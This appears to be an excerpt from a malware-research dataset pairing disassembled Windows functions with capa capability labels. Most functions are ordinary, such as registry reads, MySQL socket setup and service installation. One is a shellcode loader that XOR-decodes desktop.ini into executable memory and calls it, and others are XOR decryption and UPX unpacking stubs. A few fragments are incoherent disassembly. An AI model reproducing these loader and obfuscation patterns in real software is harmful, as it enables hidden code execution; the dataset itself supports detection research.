joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42b160
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x4958b0]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x804], ax
push 0x7fe
push 0
lea ecx, [ebp - 0x802]
push ecx
call fcn.0044e250
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 0xffffffffffffffff
push 0x3ff
lea ecx, [ebp - 0x804]
push ecx
call fcn.0045200b
add esp, 0x14
push 0x47fdd4
push 0x400
lea edx, [ebp - 0x804]
push edx
call fcn.0044db54
add esp, 0xc
movzx eax, byte [ebp + 8]
test eax, eax
je 0x42b1de
lea ecx, [ebp - 0x804]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call fcn.0042c010
test eax, eax
je 0x42b1fa
lea edx, [ebp - 0x804]
push edx
call fcn.0042b450
mov ecx, eax
call fcn.0042c9b0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c9f3
mov esp, ebp
pop ebp
ret

Function at 0x42b210
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x4958b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x404], 0
push 0x3ff
push 0
lea eax, [ebp - 0x403]
push eax
call fcn.0044e250
add esp, 0xc
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 0xffffffffffffffff
push 0x3ff
lea eax, [ebp - 0x404]
push eax
call fcn.0045184b
add esp, 0x14
push 0x47fdd8
push 0x400
lea ecx, [ebp - 0x404]
push ecx
call fcn.00450ae4
add esp, 0xc
movzx edx, byte [ebp + 8]
test edx, edx
je 0x42b28c
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call fcn.0042c010
test eax, eax
je 0x42b2a8
lea ecx, [ebp - 0x404]
push ecx
call fcn.0042b450
mov ecx, eax
call fcn.0042c8a0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c9f3
mov esp, ebp
pop ebp
ret

Function at 0x42b3d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 4]
push ecx
push 0x20019
push 0
push 0x47fd58
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x42b43b
mov dword [ebp - 0x14], 4
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x42b43b
mov ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x432f60
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
cmp byte [ecx], al
add byte [eax], al
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1d2c], eax
push edi
jmp 0x432f87
call fcn.00432f97
add byte [ecx + 0x43], cl
dec ebp
inc eax
dec eax
cmp dword [eax + edi], edi
xor al, 0x41
Function at 0x4372e6
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor eax, 0x1381e
xor eax, 0xa255
or eax, 0x1354
pop eax
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x437372
Function at 0x4bbe99
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c3408
cmp edx, dword [eax]
je 0x4bbebb
add eax, 8
inc ecx
cmp eax, 0x4c3498
jl 0x4bbeac
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c3408]
jne 0x4bbfe9
mov eax, dword [0x4c8e30]
cmp eax, 1
je 0x4bbfc3
test eax, eax
jne 0x4bbeec
cmp dword [0x4c3330], 1
je 0x4bbfc3
cmp edx, 0xfc
je 0x4bbfe9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bbf23
lea eax, [ebp - 0x1a4]
push 0x4c1680
push eax
call fcn.004bc880
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bcd10
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bbf66
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bcd10
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c167c
push edi
call fcn.004bebe0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c1660
push eax
call fcn.004bc880
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bc890
lea eax, [ebp - 0xa0]
push 0x4c165c
push eax
call fcn.004bc890
push dword [esi + 0x4c340c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bc890
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c1634
push eax
call fcn.004beb54
add esp, 0x2c
pop edi
jmp 0x4bbfe9
lea eax, [ebp + 8]
lea esi, [esi + 0x4c340c]
push 0
push eax
push dword [esi]
call fcn.004bcd10
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret

Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x414a2f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004148a5

Function at 0x419060
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418bb3

Function at 0x1000125c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], 0
call sub.KERNEL32.DLL_GetEnvironmentStringsA
mov ebx, eax
mov dword [ebp - 0x10], ebx
jmp 0x10001299
cmp byte [ebx], 0x3d
je 0x10001285
inc dword [ebp - 0xc]
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
lea ebx, [ebx + edi]
cmp byte [ebx], 0
jne 0x10001278
mov edi, dword [ebp - 0xc]
inc edi
lea edi, [edi*4]
mov dword [ebp - 0x14], edi
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_malloc
pop ecx
mov dword [ebp - 8], eax
mov dword [0x10003010], eax
cmp dword [ebp - 8], 0
jne 0x100012cc
xor eax, eax
jmp 0x10001342
mov ebx, dword [ebp - 0x10]
jmp 0x10001325
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
mov dword [ebp - 4], edi
cmp byte [ebx], 0x3d
je 0x1000131f
push dword [ebp - 4]
call sub.CRTDLL.DLL_malloc
pop ecx
mov esi, dword [ebp - 8]
mov dword [esi], eax
or eax, eax
jne 0x10001308
jmp 0x10001342
push ebx
mov edi, dword [ebp - 8]
push dword [edi]
call sub.CRTDLL.DLL_strcpy
add esp, 8
add dword [ebp - 8], 4
mov edx, dword [ebp - 4]
lea ebx, [ebx + edx]
cmp byte [ebx], 0
jne 0x100012d1
mov edx, dword [ebp - 8]
mov dword [edx], 0
mov eax, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x405400
Capabilities:
Inspect section memory permissions

Disassembly:
mov ecx, dword [esp + 4]
xor eax, eax
test ecx, 0x4000000
je 0x405413
mov eax, 0x200
push esi
mov esi, ecx
and esi, 0x20000000
push edi
mov edx, 0x40000000
mov edi, 0x80000000
je 0x405431
test edx, ecx
je 0x405431
test edi, ecx
jne 0x40545f
test esi, esi
je 0x40543e
test edx, ecx
je 0x40543e
or eax, 0x20
jmp 0x405462
mov esi, ecx
and esi, edx
je 0x40544d
test edi, ecx
je 0x405456
or eax, 4
jmp 0x405462
test edi, ecx
je 0x405456
or eax, 8
jmp 0x405462
test esi, esi
je 0x40545f
or eax, 2
jmp 0x405462
or eax, 0x40
pop edi
pop esi
ret

Function at 0x409f10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7000]
push edi
jmp 0x409f2a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x409f31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x409f20
mov eax, 1
add ebx, ebx
jne 0x409f43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x409f38
jne 0x409f54
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x409f38
xor ecx, ecx
sub eax, 3
jb 0x409f68
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x409fda
mov ebp, eax
add ebx, ebx
jne 0x409f73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x409f80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x409fa4
inc ecx
add ebx, ebx
jne 0x409f90
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x409f85
jne 0x409fa1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x409f85
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x409fc4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x409fb5
jmp 0x409f26
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x409fc4
add edi, ecx
jmp 0x409f26
pop esi
mov edi, esi
mov ecx, 0x207
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x409fe2
cmp byte [edi], 0
jne 0x409fe2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x409fe7
lea edi, [esi + 0x7000]
mov eax, dword [edi]
or eax, eax
je 0x40a056
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40a014
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa054]
or eax, eax
je 0x40a050
mov dword [ebx], eax
add ebx, 4
jmp 0x40a031
call dword [esi + 0xa064]
mov ebp, dword [esi + 0xa058]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40a08a
sub esp, 0xffffff80
jmp 0x40310f
Function at 0x410b90
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [eax], 0
mov eax, dword [0x511a84]
test ah, 2
push esi
push edi
jne 0x410c59
mov ecx, dword [0x50f110]
add ecx, 0x20
push ecx
call ebx
mov edi, dword [0x50f110]
mov edx, dword [esp + 0x14]
push 0
push edx
lea eax, [edi + 0x38]
push eax
call fcn.00482960
mov esi, eax
add esp, 0xc
test esi, esi
je 0x410c4d
cmp esi, dword [edi + 0x18]
je 0x410c16
cmp esi, dword [edi + 0x1c]
jne 0x410bf5
mov ecx, dword [esi + 4]
mov dword [edi + 0x1c], ecx
jmp 0x410c04
mov edx, dword [esi]
mov eax, dword [esi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi + 4]
mov edx, dword [esi]
mov dword [ecx], edx
mov eax, dword [edi + 0x18]
test eax, eax
mov dword [esi], eax
je 0x410c13
mov eax, dword [edi + 0x18]
mov dword [eax + 4], esi
mov dword [edi + 0x18], esi
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x410c21
xor edi, edi
jmp 0x410c2e
push 0
push eax
call fcn.004800e0
add esp, 8
mov edi, eax
mov ecx, dword [esi + 0xc]
mov edx, dword [esp + 0x18]
mov dword [edx], ecx
mov eax, dword [0x50f110]
add eax, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [0x50f110]
add ecx, 0x20
push ecx
call ebp
push 0x50f114
call ebx
mov edi, dword [esp + 0x14]
push 2
push 4
push edi
call sub.WSOCK32.dll_gethostbyaddr
test eax, eax
jne 0x410c8b
push 0x50f114
call ebp
push 0
push edi
call fcn.00410d80
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [eax]
cmp byte [eax], 0
jne 0x410cab
push 0x50f114
call ebp
push 0
push edi
call fcn.00410d80
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0
push eax
call fcn.004800e0
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x410cca
push 0x50f114
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push ebx
call sub.WSOCK32.dll_gethostbyname
push 0x50f114
mov esi, eax
call ebp
test esi, esi
jne 0x410ced
push ebx
call fcn.00480080
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
movsx edx, byte [ebx]
push edx
call fcn.004b570a
add esp, 4
test eax, eax
je 0x410d38
movsx eax, byte [ebx + 1]
lea edi, [ebx + 1]
push eax
call fcn.004b570a
add esp, 4
test eax, eax
je 0x410d23
movsx ecx, byte [edi + 1]
inc edi
push ecx
call fcn.004b570a
add esp, 4
test eax, eax
jne 0x410d11
cmp byte [edi], 0x2e
jne 0x410d34
push ebx
call fcn.00480080
mov edi, dword [esp + 0x18]
jmp 0x410d57
mov edi, dword [esp + 0x14]
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx]
test eax, eax
je 0x410d51
mov edx, dword [edi]
cmp dword [eax], edx
je 0x410d6c
mov eax, dword [ecx + 4]
add ecx, 4
test eax, eax
jne 0x410d43
push ebx
call fcn.00480080
add esp, 4
push 0
push edi
call fcn.00410d80
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push ebx
push edi
call fcn.00410d80
add esp, 8
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
ret
Function at 0x427da0
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
push ecx
push edx
call sub.WSOCK32.dll_connect
ret

Function at 0x4282b0
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x4282c6
push str.Aborting_n
call fcn.004247f0
add esp, 4
push 1
call fcn.004282e0
add esp, 4
push esi
call fcn.004b544d
pop esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x429310
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Set socket configuration

Disassembly:
sub esp, 0x1a4
mov eax, dword [0x511a00]
test eax, eax
mov dword [esp + 0x10], 1
jne 0x429353
lea eax, [esp + 0x14]
push eax
push 0x101
call sub.WSOCK32.dll_WSAStartup
cmp eax, 0xffffffff
jne 0x429353
push 0
push str.WSAStartup_Failed_n
push 0
call fcn.0047ffe0
push 1
call fcn.004282b0
add esp, 0x10
call fcn.004294a0
mov eax, dword [0x5109e8]
test eax, eax
je 0x42947c
mov eax, dword [0x511a00]
test eax, eax
jne 0x42947c
mov eax, dword [0x511a04]
test eax, eax
jne 0x42947c
push 0
push 1
push 2
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov dword [0x4e9964], eax
jne 0x4293b0
mov ecx, dword [0x511184]
mov edx, dword [ecx + 0x144]
push edx
call fcn.00424890
push 1
call fcn.004282b0
add esp, 8
mov ecx, dword [0x5106a4]
xor edx, edx
mov dx, word [0x5109e8]
xor eax, eax
mov dword [esp], eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov word [esp], 2
push edx
mov dword [esp + 8], ecx
call sub.WSOCK32.dll_htons
mov ecx, dword [0x4e9964]
push 4
mov word [esp + 6], ax
lea eax, [esp + 0x14]
push eax
push 4
push 0xffff
push ecx
call sub.WSOCK32.dll_setsockopt
mov eax, dword [0x4e9964]
push 0x10
lea edx, [esp + 4]
push edx
push eax
call sub.WSOCK32.dll_bind
test eax, eax
jge 0x429452
push str.Cant_start_server:_Bind_on_TCP_IP_port
call fcn.00424890
mov ecx, dword [0x5109e8]
push ecx
push str.Do_you_already_have_another_mysqld_server_running_on_port:__d__
call fcn.004247f0
push 1
call fcn.004282b0
mov eax, dword [0x4e9964]
add esp, 0x10
push 0x10
lea edx, [esp + 4]
push edx
push eax
call sub.WSOCK32.dll_bind
test eax, eax
jl 0x429417
mov ecx, dword [0x5111d8]
mov edx, dword [0x4e9964]
push ecx
push edx
call sub.WSOCK32.dll_listen
test eax, eax
jge 0x42947c
call sub.WSOCK32.dll_WSAGetLastError
push eax
push str.Warning:__listen___on_TCP_IP_failed_with_error__d
call fcn.004247f0
add esp, 8
mov eax, dword [0x5109f0]
test eax, eax
je 0x42948e
push eax
call fcn.004957f0
add esp, 4
mov eax, dword [0x5109a8]
push eax
call fcn.004957f0
add esp, 0x1a8
ret
Function at 0x42c4b0
Capabilities:
Create service
Persist via windows service

Disassembly:
sub esp, 0x104
push ebx
mov ebx, dword [esp + 0x110]
push ebp
push esi
push 1
push ebx
mov esi, ecx
xor ebp, ebp
call fcn.0042c9a0
test eax, eax
jne 0x42c4dc
pop esi
pop ebp
pop ebx
add esp, 0x104
ret 0x18
push edi
push 0x104
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x42c51d
push str.Failed_to_install_the_service__Couldnt_open_the_SCM__n
call fcn.004b7563
add esp, 4
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x104
ret 0x18
mov ecx, dword [esp + 0x12c]
mov edx, dword [esp + 0x128]
mov eax, dword [esi + 0x1c]
push ecx
mov ecx, dword [esi + 0x18]
push edx
mov edx, dword [esi + 0x14]
push eax
mov eax, dword [esp + 0x130]
push ecx
mov ecx, dword [esi + 0x10]
push edx
push eax
mov eax, dword [esp + 0x130]
xor edx, edx
cmp eax, 1
mov eax, dword [esi + 8]
setne dl
push ecx
mov ecx, dword [esi + 4]
add edx, 2
push edx
mov edx, dword [esp + 0x140]
push eax
push ecx
push edx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
jne 0x42c59b
push str.Failed_to_install_the_service__Couldnt_create_service__n
call fcn.004b7563
add esp, 4
push edi
call ebx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x104
ret 0x18
push str.Service_successfully_installed._n
call fcn.004b7563
add esp, 4
push esi
call ebx
push edi
mov ebp, 1
call ebx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x104
ret 0x18

Function at 0x42c5d0
Capabilities:
Delete service

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
xor ebp, ebp
push ebp
push ebx
mov esi, ecx
call fcn.0042c9a0
test eax, eax
jne 0x42c5ec
pop esi
pop ebp
pop ebx
ret 4
push edi
push 2
push ebp
push ebp
mov dword [esi + 0xd0], ebp
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, ebp
jne 0x42c619
push str.Failed_to_remove_the_service__Couldnt_open_the_SCM__n
call fcn.004b7563
add esp, 4
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret 4
push 0x10000
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
cmp esi, ebp
je 0x42c67a
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x42c659
push str.Failed_to_remove_the_service_n
call fcn.004b7563
add esp, 4
push esi
call ebx
push edi
call ebx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret 4
push str.Service_successfully_removed._n
call fcn.004b7563
add esp, 4
push esi
mov ebp, 1
call ebx
push edi
call ebx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret 4
push str.Failed_to_remove_the_service__Couldnt_open_the_service__n
call fcn.004b7563
add esp, 4
push edi
call ebx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret 4
Function at 0x42c820
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0xf0]
push esi
push 0
push eax
call fcn.004b76b4
add esp, 0xc
test eax, eax
mov dword [esi + 0xec], eax
jne 0x42c841
pop esi
ret
mov eax, 1
mov dword [esi + 0xe8], eax
pop esi
ret

Function at 0x42c9a0
Capabilities:
Query service configuration
Query service status

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push 2
xor ebp, ebp
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
jne 0x42c9ce
push str.There_is_a_problem_with_the_Service_Control_Manager__n
call fcn.004b7563
add esp, 4
mov eax, ebp
pop ebp
pop ebx
add esp, 0x1c
ret 8
mov eax, dword [esp + 0x2c]
push esi
push edi
push 0xf01ff
cmp eax, 1
mov eax, dword [esp + 0x34]
push eax
push ebx
jne 0x42ca57
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x42ca3f
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.The_service_already_exists__n
mov edi, eax
call fcn.004b7563
add esp, 4
lea ecx, [esp + 0x30]
push ecx
push 0x1000
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x42ca33
mov edx, dword [edi + 0xc]
push edx
push str.The_current_server_installed:__s_n
call fcn.004b7563
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x42cad1
push ebx
mov ebp, 1
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x1c
ret 8
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x42ca83
push str.The_service_doesnt_exists__n
call fcn.004b7563
add esp, 4
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x1c
ret 8
xor eax, eax
mov ecx, 7
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x42cad1
mov eax, dword [esp + 0x14]
cmp eax, 4
jne 0x42cab8
push str.Failed_to_remove_the_service_because_the_service_is_running_nStop_the_service_and_try_again_n
call fcn.004b7563
add esp, 4
jmp 0x42cad1
cmp eax, 3
jne 0x42cacc
push str.Failed_to_remove_the_service_because_the_service_is_in_stop_pending_state__nWait_30_seconds_and_try_again._nIf_this_condition_persist__reboot_the_machine_and_try_again_n
call fcn.004b7563
add esp, 4
jmp 0x42cad1
mov ebp, 1
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x1c
ret 8
Function at 0x431830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov eax, dword [ebp + 0x10]
test eax, eax
push ebx
push esi
push edi
je 0x431925
cmp byte [eax], 0
je 0x431925
mov esi, dword [ebp + 8]
push eax
lea eax, [esp + 0x1c]
push eax
mov edi, esi
call fcn.00431700
mov ebx, dword [ebp + 0xc]
lea ecx, [esp + 0x18]
push ebx
push ecx
call fcn.00431700
mov al, byte [ebp + 0x14]
mov edx, dword [esp + 0x20]
add esp, 0x10
test al, al
je 0x431890
xor edx, dword [esp + 0x18]
push edx
lea eax, [esp + 0x24]
push eax
call fcn.00431940
add esp, 8
jmp 0x4318ad
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
xor ecx, eax
push ecx
xor edx, dword [esp + 0x1c]
push edx
lea eax, [esp + 0x28]
push eax
call fcn.00431670
add esp, 0xc
cmp byte [ebx], 0
je 0x4318e6
lea ecx, [esp + 0x20]
inc ebx
push ecx
mov dword [ebp + 0xc], ebx
call fcn.004316b0
fmul qword [0x4cb360]
push ecx
fstp qword [esp]
call fcn.004b5c1b
fadd qword [0x4cb358]
add esp, 8
call fcn.004b5cec
mov byte [esi], al
mov al, byte [ebx]
inc esi
test al, al
jne 0x4318b2
mov al, byte [ebp + 0x14]
test al, al
jne 0x431928
lea edx, [esp + 0x20]
push edx
call fcn.004316b0
fmul qword [0x4cb360]
push ecx
fstp qword [esp]
call fcn.004b5c1b
add esp, 8
call fcn.004b5cec
cmp edi, esi
je 0x431928
xor byte [edi], al
inc edi
cmp edi, esi
jne 0x431912
mov byte [esi], 0
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 8]
pop edi
mov byte [esi], 0
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret